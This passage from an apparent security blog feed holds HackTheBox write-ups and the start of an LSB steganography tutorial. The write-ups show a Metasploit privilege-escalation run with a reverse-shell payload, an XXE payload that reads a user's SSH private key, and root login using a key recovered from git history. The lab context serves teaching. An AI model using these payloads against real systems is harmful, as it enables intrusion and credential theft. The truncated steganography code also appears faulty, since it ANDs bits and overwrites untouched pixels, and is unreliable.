TASKNAME no A name <span class="k">for </span>the created task <span class="o">(</span>default random<span class="o">)</span> Exploit target: Id Name <span class="nt">--</span> <span class="nt">----</span> 0 Windows Vista, 7, and 2008 </code></pre></div></div> <p>We specify the <strong>session number</strong> to run this module on and the payload we want along with the local port to listen on for the reverse shell.</p> <blockquote> <p>We can’t use the same port as our previous reverse shell or no session will be created.</p> </blockquote> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>msf exploit<span class="o">(</span>windows/local/ms10_092_schelevator<span class="o">)</span> <span class="o">&gt;</span> <span class="nb">set </span>SESSION 1 <span class="c"># The session number of our reverse shell (sessions -l to display them)</span> SESSION <span class="o">=&gt;</span> 1 msf exploit<span class="o">(</span>windows/local/ms10_092_schelevator<span class="o">)</span> <span class="o">&gt;</span> <span class="nb">set </span>PAYLOAD windows/x64/meterpreter/reverse_tcp <span class="c"># If the exploit works, we want a new reverse shell</span> PAYLOAD <span class="o">=&gt;</span> windows/x64/meterpreter/reverse_tcp msf exploit<span class="o">(</span>windows/local/ms10_092_schelevator<span class="o">)</span> <span class="o">&gt;</span> <span class="nb">set </span>LPORT 4445 <span class="c"># The local port to listen on</span> LPORT <span class="o">=&gt;</span> 4445 msf exploit<span class="o">(</span>windows/local/ms10_092_schelevator<span class="o">)</span> <span class="o">&gt;</span> <span class="nb">set </span>LHOST 10.10.13.75 <span class="c"># Ip address of our machine</span> LHOST <span class="o">=&gt;</span> 10.10.13.75 </code></pre></div></div> <p>Then, we can launch the exploit:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>msf exploit<span class="o">(</span>windows/local/ms10_092_schelevator<span class="o">)</span> <span class="o">&gt;</span> exploit <span class="o">[</span><span class="k">*</span><span class="o">]</span> Started reverse TCP handler on 10.10.13.75:4445 <span class="o">[</span><span class="k">*</span><span class="o">]</span> Preparing payload at C:<span class="se">\W</span>indows<span class="se">\T</span>EMP<span class="se">\F</span>IydYyMVXS.exe <span class="o">[</span><span class="k">*</span><span class="o">]</span> Creating task: sMVszFGn5xTj <span class="o">[</span><span class="k">*</span><span class="o">]</span> SUCCESS: The scheduled task <span class="s2">"sMVszFGn5xTj"</span> has successfully been created. <span class="o">[</span><span class="k">*</span><span class="o">]</span> SCHELEVATOR <span class="o">[</span><span class="k">*</span><span class="o">]</span> Reading the task file contents from C:<span class="se">\W</span>indows<span class="se">\s</span>ystem32<span class="se">\t</span>asks<span class="se">\s</span>MVszFGn5xTj... <span class="o">[</span><span class="k">*</span><span class="o">]</span> Original CRC32: 0xa1c992cd <span class="o">[</span><span class="k">*</span><span class="o">]</span> Final CRC32: 0xa1c992cd <span class="o">[</span><span class="k">*</span><span class="o">]</span> Writing our modified content back... <span class="o">[</span><span class="k">*</span><span class="o">]</span> Validating task: sMVszFGn5xTj <span class="o">[</span><span class="k">*</span><span class="o">]</span> <span class="o">[</span><span class="k">*</span><span class="o">]</span> Folder: <span class="se">\</span> <span class="o">[</span><span class="k">*</span><span class="o">]</span> TaskName Next Run Time Status <span class="o">[</span><span class="k">*</span><span class="o">]</span> <span class="o">========================================</span> <span class="o">======================</span> <span class="o">===============</span> <span class="o">[</span><span class="k">*</span><span class="o">]</span> sMVszFGn5xTj 11/1/2018 9:14:00 PM Ready <span class="o">[</span><span class="k">*</span><span class="o">]</span> SCHELEVATOR <span class="o">[</span><span class="k">*</span><span class="o">]</span> Disabling the task... <span class="o">[</span><span class="k">*</span><span class="o">]</span> SUCCESS: The parameters of scheduled task <span class="s2">"sMVszFGn5xTj"</span> have been changed. <span class="o">[</span><span class="k">*</span><span class="o">]</span> SCHELEVATOR <span class="o">[</span><span class="k">*</span><span class="o">]</span> Enabling the task... <span class="o">[</span><span class="k">*</span><span class="o">]</span> SUCCESS: The parameters of scheduled task <span class="s2">"sMVszFGn5xTj"</span> have been changed. <span class="o">[</span><span class="k">*</span><span class="o">]</span> SCHELEVATOR <span class="o">[</span><span class="k">*</span><span class="o">]</span> Executing the task... <span class="o">[</span><span class="k">*</span><span class="o">]</span> Sending stage <span class="o">(</span>206403 bytes<span class="o">)</span> to 10.10.10.93 <span class="o">[</span><span class="k">*</span><span class="o">]</span> SUCCESS: Attempted to run the scheduled task <span class="s2">"sMVszFGn5xTj"</span><span class="nb">.</span> <span class="o">[</span><span class="k">*</span><span class="o">]</span> SCHELEVATOR <span class="o">[</span><span class="k">*</span><span class="o">]</span> Deleting the task... <span class="o">[</span><span class="k">*</span><span class="o">]</span> Meterpreter session 2 opened <span class="o">(</span>10.10.13.75:4445 -&gt; 10.10.10.93:49162<span class="o">)</span> at 2018-10-28 20:14:13 +0100 <span class="o">[</span><span class="k">*</span><span class="o">]</span> SUCCESS: The scheduled task <span class="s2">"sMVszFGn5xTj"</span> was successfully deleted. <span class="o">[</span><span class="k">*</span><span class="o">]</span> SCHELEVATOR meterpreter <span class="o">&gt;</span> </code></pre></div></div> <p>The <code class="language-plaintext highlighter-rouge">getuid</code> command will confirm that the exploit worked:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>meterpreter <span class="o">&gt;</span> getuid Server username: NT AUTHORITY<span class="se">\S</span>YSTEM </code></pre></div></div> <p>We can now retrieve the <strong>root flag</strong> the same way we did for the user:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>meterpreter <span class="o">&gt;</span> <span class="nb">cat </span>C:/Users/Administrator/Desktop/root.txt c837f7b[...]f9d4f5ea </code></pre></div></div> <p><img src="https://media3.giphy.com/media/g9582DNuQppxC/giphy.gif?cid=3640f6095bd60b65474c4d7255c34b91" alt="Congratulations" /></p> <p>Et voilà!</p> <h2 id="final-words">Final Words</h2> <p>I hope it gave you a brief overview of the power of <strong>Metasploit Framework</strong> and its ease of use. However, keep in mind that this tool will not help you to understand what is really happening on the machine.</p> <p>Do not hesitate to ask your questions if something remains unclear for you :relaxed:.</p> <p id="signature">BoiteAKlou :hammer:</p>BoiteAKlouHack The Box is an online platform that allows you to test your pentesting skills on virtual machines intentionally left vulnerable. It is a great place to learn and the community is very helpful so I warmly recommend you to check this site out. This machine was pretty easy so I’m going to take this opportunity to explain you the basics of the Metasploit framework.HackTheBox: DevOops writeup2018-10-10T08:00:00+00:002018-10-10T08:00:00+00:00/HackTheBox-DevOops<p>Hack The Box is an online platform that allows you to test your pentesting skills on virtual machines intentionally left vulnerable. It is a great place to learn and the community is very helpful so I warmly recommend you to check this site out.</p> <p><img src="/assets/2018-10-10/devoops-box.png" alt="DevOops box" title="DevOops Box" /></p> <p>In this article, I’ll detail every step I’ve gone through in order to root the DevOops box, from the reconnaissance phase to the privilege escalation. <!--excerpt--></p> <h1 class="no_toc" id="table-of-contents">Table of Contents</h1> <ul id="markdown-toc"> <li><a href="#recon" id="markdown-toc-recon">Recon</a> <ul> <li><a href="#port-scanning" id="markdown-toc-port-scanning">Port scanning</a></li> </ul> </li> <li><a href="#web-application-mapping" id="markdown-toc-web-application-mapping">Web Application Mapping</a></li> <li><a href="#from-xxe-to-user-access" id="markdown-toc-from-xxe-to-user-access">From XXE to User access</a></li> <li><a href="#getting-root" id="markdown-toc-getting-root">Getting root</a> <ul> <li><a href="#enumeration" id="markdown-toc-enumeration">Enumeration</a></li> <li><a href="#sensitive-git-repository" id="markdown-toc-sensitive-git-repository">Sensitive git repository</a></li> </ul> </li> </ul> <h2 id="recon">Recon</h2> <p>The only information we get when starting a new box is the IP address of the machine. With experience, you’ll develop your own reconnaissance routine but I think that all of them start with the good old nmap port scanning.</p> <h3 id="port-scanning">Port scanning</h3> <p>Nmap is a very powerful tool offering a lot of features and options that can be a bit tricky to use for beginners. First, we will perform a fast scan of TCP open ports with OS and services version detection.</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kali:/DevOops<span class="nv">$ </span>nmap <span class="nt">-A</span> <span class="nt">-v</span> 10.10.10.91 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 <span class="o">(</span>Ubuntu Linux<span class="p">;</span> protocol 2.0<span class="o">)</span> | ssh-hostkey: | 2048 42:90:e3:35:31:8d:8b:86:17:2a:fb:38:90:da:c4:95 <span class="o">(</span>RSA<span class="o">)</span> | 256 b7:b6:dc:c4:4c:87:9b:75:2a:00:89:83:ed:b2:80:31 <span class="o">(</span>ECDSA<span class="o">)</span> |_ 256 d5:2f:19:53:b2:8e:3a:4b:b3:dd:3c:1f:c0:37:0d:00 <span class="o">(</span>ED25519<span class="o">)</span> 5000/tcp open http Gunicorn 19.7.1 | http-methods: |_ Supported Methods: HEAD OPTIONS GET |_http-server-header: gunicorn/19.7.1 |_http-title: Site doesn<span class="s1">'t have a title (text/html; charset=utf-8). Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel </span></code></pre></div></div> <blockquote> <p>In a future article dedicated to reconnaissance, I’ll show more Nmap commands that can be very useful in other contexts.</p> </blockquote> <p>The scan output reveals <strong>ssh</strong> on port 22 and an <strong>http server</strong> listening on the non-standard port 5000. We also have service versions to keep in mind for an eventual exploit.</p> <p>Let’s investigate this Web application and come back to if we hit a deadend.</p> <h2 id="web-application-mapping">Web Application Mapping</h2> <p>First, reach this URL (http://10.10.10.91:5000) with a web browser.</p> <p><img src="/assets/2018-10-10/webapp.png" alt="Website" title="Website" width="80%" /></p> <p>The page doesn’t show any link or dynamic content so let’s run <strong>dirb</strong> in order to discover valid URLs. Dirb is a web content scanner which bruteforces directories and files names on web servers.</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kali:/DevOops<span class="nv">$ </span>dirb http://10.10.10.91:5000 <span class="nt">-----------------</span> DIRB v2.22 By The Dark Raver <span class="nt">-----------------</span> START_TIME: Thu Oct 11 23:16:57 2018 URL_BASE: http://10.10.10.91:5000/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt <span class="nt">-----------------</span> GENERATED WORDS: 4612 <span class="nt">----</span> Scanning URL: http://10.10.10.91:5000/ <span class="nt">----</span> + http://10.10.10.91:5000/feed <span class="o">(</span>CODE:200|SIZE:546263<span class="o">)</span> + http://10.10.10.91:5000/upload <span class="o">(</span>CODE:200|SIZE:347<span class="o">)</span> <span class="nt">-----------------</span> END_TIME: Thu Oct 11 23:22:22 2018 DOWNLOADED: 4612 - FOUND: 2 </code></pre></div></div> <p>Good news! Upload features are generally poorly secured inside web applications. Let’s visit this page!</p> <p><img src="/assets/2018-10-10/upload.png" alt="Upload page" title="Upload page" /></p> <h2 id="from-xxe-to-user-access">From XXE to User access</h2> <p><strong>Xml eXternal Entities</strong> is an exploit based on weakly configured XML parsers that allow arbitrary file reading on the webserver.</p> <p>Since this web application wants us to upload XML files, it seemed natural to me to test this vulnerability.</p> <p>I used the following payload:</p> <div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">&lt;!--?xml version="1.0" ?--&gt;</span> <span class="cp">&lt;!DOCTYPE replace [&lt;!ENTITY example "Doe"&gt;</span> ]&gt; <span class="nt">&lt;Book&gt;</span> <span class="nt">&lt;Author&gt;</span>BoiteAKlou<span class="nt">&lt;/Author&gt;</span> <span class="nt">&lt;Subject&gt;</span><span class="ni">&amp;example;</span><span class="nt">&lt;/Subject&gt;</span> <span class="nt">&lt;Content&gt;</span>Payload<span class="nt">&lt;/Content&gt;</span> <span class="nt">&lt;/Book&gt;</span> </code></pre></div></div> <p>And here is the output from the server:</p> <p><code class="language-plaintext highlighter-rouge">PROCESSED BLOGPOST: Author: BoiteAKlou Subject: Doe Content: Payload URL for later reference: /uploads/test2.xml File path: /home/roosa/deploy/src</code></p> <p>We see that the Subject has been replaced by <strong>Doe</strong> so the server is vulnerable.</p> <p>At this point, we can retrieve a bunch of interesting files or get <strong>roosa’s private ssh key</strong> and then login via ssh.</p> <p>Here’s the payload I used:</p> <div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">&lt;!--?xml version="1.0" ?--&gt;</span> <span class="cp">&lt;!DOCTYPE foo [ &lt;!ELEMENT foo ANY&gt;</span> <span class="cp">&lt;!ENTITY xxe SYSTEM "file:///home/roosa/.ssh/id_rsa" &gt;</span>]&gt; <span class="nt">&lt;Book&gt;</span> <span class="nt">&lt;Author&gt;</span>BoiteAKlou<span class="nt">&lt;/Author&gt;</span> <span class="nt">&lt;Subject&gt;</span>Payload<span class="nt">&lt;/Subject&gt;</span> <span class="nt">&lt;Content&gt;</span><span class="ni">&amp;xxe;</span><span class="nt">&lt;/Content&gt;</span> <span class="nt">&lt;/Book&gt;</span> </code></pre></div></div> <p>Once the private key retrieved, we can connect via ssh and enjoy the user flag:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kali:/DevOops<span class="nv">$ </span>ssh <span class="nt">-i</span> id_rsa [email protected] Welcome to Ubuntu 16.04.4 LTS <span class="o">(</span>GNU/Linux 4.13.0-37-generic i686<span class="o">)</span> <span class="k">*</span> Documentation: https://help.ubuntu.com <span class="k">*</span> Management: https://landscape.canonical.com <span class="k">*</span> Support: https://ubuntu.com/advantage 135 packages can be updated. 60 updates are security updates. Last login: Thu Oct 11 17:27:36 2018 from 10.10.12.226 roosa@gitter:~<span class="nv">$ </span><span class="nb">cat </span>user.txt c5808e[..]ecc67b </code></pre></div></div> <p>Now things are getting serious…</p> <h2 id="getting-root">Getting root</h2> <h3 id="enumeration">Enumeration</h3> <p>Every privilege escalation requires an exhaustive enumeration of the system. This is quite a long process which can be facilitated by scripts such as <a href="https://github.com/rebootuser/LinEnum">LinEnum</a>.</p> <p>I won’t detail here my whole process of enumerating, only the relevant part in our case.</p> <p>The TODO note we found when consulting the website suggested that this project was versioned. In that case, it could be interesting to retrieve the content of a <strong>git</strong> or <strong>svn</strong> folder.</p> <p>You can use the following command to look for any <strong>.git</strong> directory:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>roosa@gitter:~<span class="nv">$ </span>find <span class="nb">.</span> <span class="nt">-type</span> d <span class="nt">-name</span> .git 2&gt;/dev/null ./work/blogfeed/.git </code></pre></div></div> <p>Great we found one! Let’s see what we can learn from it…</p> <h3 id="sensitive-git-repository">Sensitive git repository</h3> <p><code class="language-plaintext highlighter-rouge">git log</code> shows us every commit message from this repository and the two commits below caught my attention:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>commit 33e87c312c08735a02fa9c796021a4a3023129ad Author: Roosa Hakkerson &lt;[email protected]&gt; Date: Mon Mar 19 09:33:06 2018 -0400 reverted accidental commit with proper key commit d387abf63e05c9628a59195cec9311751bdb283f Author: Roosa Hakkerson &lt;[email protected]&gt; Date: Mon Mar 19 09:32:03 2018 -0400 add key for feed integration from tnerprise backend </code></pre></div></div> <p>I immediately jumped back to the commit where the key was accidentaly added, thanks to this command:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>roosa@gitter:~/work/blogfeed<span class="nv">$ </span>git checkout d387abf63e05c9628a59195cec9311751bdb283f error: Your <span class="nb">local </span>changes to the following files would be overwritten by checkout: run-gunicorn.sh Please, commit your changes or stash them before you can switch branches. Aborting </code></pre></div></div> <p>Crap! We have unstaged changes. No problem, we can tell git to ignore these changes with <code class="language-plaintext highlighter-rouge">git checkout -- run-gunicorn.sh</code> and then re-execute it.</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>roosa@gitter:~/work/blogfeed<span class="nv">$ </span>git checkout d387abf63e05c9628a59195cec9311751bdb283f Note: checking out <span class="s1">'d387abf63e05c9628a59195cec9311751bdb283f'</span><span class="nb">.</span> You are <span class="k">in</span> <span class="s1">'detached HEAD'</span> state. You can look around, make experimental changes and commit them, and you can discard any commits you make <span class="k">in </span>this state without impacting any branches by performing another checkout. If you want to create a new branch to retain commits you create, you may <span class="k">do </span>so <span class="o">(</span>now or later<span class="o">)</span> by using <span class="nt">-b</span> with the checkout <span class="nb">command </span>again. Example: git checkout <span class="nt">-b</span> &lt;new-branch-name&gt; HEAD is now at d387abf... add key <span class="k">for </span>feed integration from tnerprise backend </code></pre></div></div> <p>Better! The file <strong>authcredentials.key</strong> has appeared inside resources/integration/. Let’s try to login as root using this key:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>roosa@gitter:~/work/blogfeed<span class="nv">$ </span>ssh <span class="nt">-i</span> resources/integration/authcredentials.key root@localhost @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @ WARNING: UNPROTECTED PRIVATE KEY FILE! @ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ Permissions 0664 <span class="k">for</span> <span class="s1">'resources/integration/authcredentials.key'</span> are too open. It is required that your private key files are NOT accessible by others. This private key will be ignored. Load key <span class="s2">"resources/integration/authcredentials.key"</span>: bad permissions root@localhost<span class="s1">'s password: </span></code></pre></div></div> <p>SSH refuses to use this key because permissions are too open. We can fix this with <code class="language-plaintext highlighter-rouge">chmod 0600 resources/integration/authcredentials.key</code> and try to connect again.</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>roosa@gitter:~/work/blogfeed<span class="nv">$ </span>ssh <span class="nt">-i</span> resources/integration/authcredentials.key root@localhost Welcome to Ubuntu 16.04.4 LTS <span class="o">(</span>GNU/Linux 4.13.0-37-generic i686<span class="o">)</span> <span class="k">*</span> Documentation: https://help.ubuntu.com <span class="k">*</span> Management: https://landscape.canonical.com <span class="k">*</span> Support: https://ubuntu.com/advantage 135 packages can be updated. 60 updates are security updates. Last login: Fri Oct 12 04:48:17 2018 from 10.10.13.23 root@gitter:~# </code></pre></div></div> <p>Bingo! Enjoy the flag :wink:</p> <p id="signature">BoiteAKlou :hammer:</p>BoiteAKlouHack The Box is an online platform that allows you to test your pentesting skills on virtual machines intentionally left vulnerable. It is a great place to learn and the community is very helpful so I warmly recommend you to check this site out. In this article, I’ll detail every step I’ve gone through in order to root the DevOops box, from the reconnaissance phase to the privilege escalation.Steganography Tutorial: Least Significant Bit (LSB)2018-08-12T16:00:00+00:002018-08-12T16:00:00+00:00/Steganography-Least-Significant-Bit<p>This article details a common steganography method known as the Least Significant Bit. This technique is very efficient because of its <strong>simplicity</strong> and its ability to be <strong>undetectable to the naked eye</strong>. After reading this, you’ll be able to hide a message inside a picture using this technique, but also to detect any dissimulated message.</p> <p><!--excerpt--></p> <h1 class="no_toc" id="table-of-contents">Table of Contents</h1> <ul id="markdown-toc"> <li><a href="#do-it-yourself" id="markdown-toc-do-it-yourself">Do It Yourself!</a></li> <li><a href="#technical-description" id="markdown-toc-technical-description">Technical description</a> <ul> <li><a href="#digital-image-structure" id="markdown-toc-digital-image-structure">Digital image structure</a></li> <li><a href="#lsb-principle" id="markdown-toc-lsb-principle">LSB Principle</a> <ul> <li><a href="#am-i-not-significant-to-you" id="markdown-toc-am-i-not-significant-to-you">Am I not significant to you?</a></li> <li><a href="#why-do-we-modify-this-very-specific-bit" id="markdown-toc-why-do-we-modify-this-very-specific-bit">Why do we modify this very specific bit?</a></li> </ul> </li> <li><a href="#how-to-hide-a-message" id="markdown-toc-how-to-hide-a-message">How to hide a message?</a> <ul> <li><a href="#encoding-and-transforming-a-string-into-a-sequence-of-bits" id="markdown-toc-encoding-and-transforming-a-string-into-a-sequence-of-bits">Encoding and transforming a string into a sequence of bits</a></li> <li><a href="#messing-with-pixels" id="markdown-toc-messing-with-pixels">Messing with pixels</a></li> </ul> </li> </ul> </li> <li><a href="#detection" id="markdown-toc-detection">Detection</a> <ul> <li><a href="#all-about-contrast" id="markdown-toc-all-about-contrast">All about contrast</a></li> </ul> </li> <li><a href="#extraction" id="markdown-toc-extraction">Extraction</a> <ul> <li><a href="#python-my-love" id="markdown-toc-python-my-love">Python my love</a></li> </ul> </li> <li><a href="#your-turn" id="markdown-toc-your-turn">Your Turn!</a> <ul> <li><a href="#resources" id="markdown-toc-resources">Resources</a></li> </ul> </li> </ul> <h2 id="do-it-yourself">Do It Yourself!</h2> <p>If you’re already familiar with the concept of LSB and simply want to practice, download <a href="/assets/2018-08-12/lsb_spongebob.png">this picture</a> and feel free to send me your result or to post it in the comment section.</p> <h2 id="technical-description">Technical description</h2> <h3 id="digital-image-structure">Digital image structure</h3> <p>To understand this technique, a few reminders of some digital imaging basics might be useful.</p> <ul> <li>A digital image is composed of \(X\) rows by \(Y\) columns.</li> <li>The point of coordinates \([a,b]\) with \(0\leqslant a&lt;X\) and \(0\leqslant b&lt;Y\), is called a <strong>pixel</strong>. The <strong>pixel</strong> represents the smallest addressable element of a picture.</li> <li>Each pixel is associated with a color, usually decomposed in three primary colors: <strong>Red, Green, Blue</strong>. A pixel can then be specified as <strong>pixel(Red, Green, Blue)</strong>, that’s what we call the <em>RGB model</em>.</li> <li>Red, Green and Blue intensities can vary from 0 to 255.</li> <li>WHITE = (255,255,255) and BLACK = (0,0,0).</li> <li>A pixel take 3 bytes of memory, 1 for each primary component (hence the maximum value of 255).</li> <li>A byte consists of 8 bits, representing a binary number (example: 1010 0101).</li> <li>The highest value a byte can take is 1111 1111, which is equal to 255 in decimal.</li> </ul> <h3 id="lsb-principle">LSB Principle</h3> <p>Now that you have the structure of a digital image in mind, we can start talking about the serious stuff :wink:.</p> <p>As its name suggests, the Least Significant Bit technique is based on hiding information in the least significant bit of each byte of the picture. There are multiple variants of LSB but, in this article, we will set the focus on the most common one.</p> <h4 id="am-i-not-significant-to-you">Am I not significant to you?</h4> <p>The notion of “Least Significant Bit” probably doesn’t speak to everyone so I’ll explain it. Let’s take the following representation of a byte, where the weight is annotated below each bit:</p> <p><img src="/assets/2018-08-12/byte_diagram.jpg" alt="Bit weights" title="Bit weights diagram" /></p> <p>The first bit on the left is the “heaviest” one since it’s the one that has the biggest influence on the value of the byte. Its weight is 128.</p> <p>Now look at the bit on the very right. Its weight is 1 and it has a very minor impact on the value of the byte. In a way, this bit is the <strong>least significant bit</strong> of this byte.</p> <h4 id="why-do-we-modify-this-very-specific-bit">Why do we modify this very specific bit?</h4> <p>Well, simply because it’s the least significant one. Let me explain:</p> <p>The following diagram illustrates the color difference when the least significant bit of the red channel is modified.</p> <p><img src="/assets/2018-08-12/significant_bit_diff.jpg" alt="Significant bit modification" title="Significant bit modification" /></p> <p>Can you spot the difference? No? Me neither and that’s exactly the goal! That way, we can modify <strong>3 bits per pixel</strong> without it is noticeable.</p> <h3 id="how-to-hide-a-message">How to hide a message?</h3> <p>Ok the theory should be clear now, but we’ve seen that we can only hide 3 bits per pixel and we want to dissimulate a full message! How are we supposed to do?</p> <p>Easy! A message is actually a sequence of bits so it’s not an issue. The only limitation is that the size of the message in bits must be inferior to the number of pixels in the picture multiplied by 3.</p> <p>There are plenty of tools already available for hiding a message inside a picture with the LSB technique but <strong>I encourage you to write your own tool</strong>. This will help you getting familiar with a scripting language and will require from you a prefect understanding of the concept.</p> <p>For the needs, of this tutorial I used Python 2.7. Sources of the scripts used in this article will be downloadable at the bottom of the page.</p> <p>Alright, let’s dive into the code! :+1:</p> <h4 id="encoding-and-transforming-a-string-into-a-sequence-of-bits">Encoding and transforming a string into a sequence of bits</h4> <p>In order to avoid data losses caused by encoding problems, <strong>the initial message must be base64-encoded</strong>. There are many ways to turn a string into its binary representation in python, but I decided to use the <a href="https://pypi.org/project/bitarray/">bitarray module</a>. If you don’t have it installed, just type <code class="language-plaintext highlighter-rouge">sudo pip install bitarray</code>.</p> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">bitarray</span> <span class="kn">import</span> <span class="nn">base64</span> <span class="n">message</span> <span class="o">=</span> <span class="s">'YourVerySecretText'</span> <span class="n">encoded_message</span> <span class="o">=</span> <span class="n">base64</span><span class="o">.</span><span class="n">b64encode</span><span class="p">(</span><span class="n">message</span><span class="p">)</span> <span class="c1">#Converts the message into an array of bits </span><span class="n">ba</span> <span class="o">=</span> <span class="n">bitarray</span><span class="o">.</span><span class="n">bitarray</span><span class="p">()</span> <span class="n">ba</span><span class="o">.</span><span class="n">frombytes</span><span class="p">(</span><span class="n">encoded_message</span><span class="o">.</span><span class="n">encode</span><span class="p">(</span><span class="s">'utf-8'</span><span class="p">))</span> <span class="n">bit_array</span> <span class="o">=</span> <span class="p">[</span><span class="nb">int</span><span class="p">(</span><span class="n">i</span><span class="p">)</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">ba</span><span class="p">]</span> </code></pre></div></div> <p><strong>bit_array</strong> now contains the binary representation of our message.</p> <blockquote> <p>NOTE: Make sure to hide your message inside a PNG file and not a JPEG or its lossy compression algorithm will overwrite your modifications!</p> </blockquote> <h4 id="messing-with-pixels">Messing with pixels</h4> <p>Let’s say we want to hide our message inside this picture (download with <strong>Right click &gt; Save Image as…</strong>):</p> <p><img src="/assets/2018-08-12/spongebob.png" alt="Confused Spongebob" title="Confused Spongebob" /></p> <p>There’s a wonderful python library for manipulating images called <a href="https://pillow.readthedocs.io/en/5.2.x/">PIL</a> (pillow since python3).</p> <p>First, let’s duplicate the original picture. We will only modify the one called “lsb_spongebob.png”. Then, we store the image size for later. The <strong>load()</strong> function retrieves an array containing every pixel in RGB format.</p> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">PIL</span> <span class="kn">import</span> <span class="n">Image</span> <span class="n">im</span> <span class="o">=</span> <span class="n">Image</span><span class="o">.</span><span class="nb">open</span><span class="p">(</span><span class="s">"spongebob.png"</span><span class="p">)</span> <span class="n">im</span><span class="o">.</span><span class="n">save</span><span class="p">(</span><span class="s">"lsb_spongebob.png"</span><span class="p">)</span> <span class="n">im</span> <span class="o">=</span> <span class="n">Image</span><span class="o">.</span><span class="nb">open</span><span class="p">(</span><span class="s">"lsb_spongebob.png"</span><span class="p">)</span> <span class="n">width</span><span class="p">,</span> <span class="n">height</span> <span class="o">=</span> <span class="n">im</span><span class="o">.</span><span class="n">size</span> <span class="n">pixels</span> <span class="o">=</span> <span class="n">im</span><span class="o">.</span><span class="n">load</span><span class="p">()</span> </code></pre></div></div> <p>Let’s say we want to hide our message at the beginning of the <strong>first row of the picture</strong>, I’ve written the following piece of code which is kinda ulgy, I agree, but that makes the job, you know :wink:.</p> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">i</span> <span class="o">=</span> <span class="mi">0</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="n">width</span><span class="p">):</span> <span class="n">r</span><span class="p">,</span><span class="n">g</span><span class="p">,</span><span class="n">b</span> <span class="o">=</span> <span class="n">pixels</span><span class="p">[</span><span class="n">x</span><span class="p">,</span><span class="mi">0</span><span class="p">]</span> <span class="k">print</span><span class="p">(</span><span class="s">"[+] Pixel : [</span><span class="si">%</span><span class="s">d,</span><span class="si">%</span><span class="s">d]"</span><span class="o">%</span><span class="p">(</span><span class="n">x</span><span class="p">,</span><span class="mi">0</span><span class="p">))</span> <span class="k">print</span><span class="p">(</span><span class="s">"[+] </span><span class="se">\t</span><span class="s">Before : (</span><span class="si">%</span><span class="s">d,</span><span class="si">%</span><span class="s">d,</span><span class="si">%</span><span class="s">d)"</span><span class="o">%</span><span class="p">(</span><span class="n">r</span><span class="p">,</span><span class="n">g</span><span class="p">,</span><span class="n">b</span><span class="p">))</span> <span class="c1">#Default values in case no bit has to be modified </span> <span class="n">new_bit_red_pixel</span> <span class="o">=</span> <span class="mi">255</span> <span class="n">new_bit_green_pixel</span> <span class="o">=</span> <span class="mi">255</span> <span class="n">new_bit_blue_pixel</span> <span class="o">=</span> <span class="mi">255</span> <span class="k">if</span> <span class="n">i</span><span class="o">&lt;</span><span class="nb">len</span><span class="p">(</span><span class="n">bit_array</span><span class="p">):</span> <span class="c1">#Red pixel </span> <span class="n">r_bit</span> <span class="o">=</span> <span class="nb">bin</span><span class="p">(</span><span class="n">r</span><span class="p">)</span> <span class="n">r_last_bit</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">r_bit</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span> <span class="n">r_new_last_bit</span> <span class="o">=</span> <span class="n">r_last_bit</span> <span class="o">&amp;</span> <span class="n">bit_array</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="n">new_bit_red_pixel</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">r_bit</span><span class="p">[:</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="n">r_new_last_bit</span><span class="p">),</span><span class="mi">2</span><span class="p">)</span> <span class="n">i</span> <span class="o">+=</span> <span class="mi">1</span> <span class="k">if</span> <span class="n">i</span><span class="o">&lt;</span><span class="nb">len</span><span class="p">(</span><span class="n">bit_array</span><span class="p">):</span> <span class="c1">#Green pixel </span> <span class="n">g_bit</span> <span class="o">=</span> <span class="nb">bin</span><span class="p">(</span><span class="n">g</span><span class="p">)</span> <span class="n">g_last_bit</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">g_bit</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span> <span class="n">g_new_last_bit</span> <span class="o">=</span> <span class="n">g_last_bit</span> <span class="o">&amp;</span> <span class="n">bit_array</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="n">new_bit_green_pixel</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">g_bit</span><span class="p">[:</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span><span class="o">+</span><span 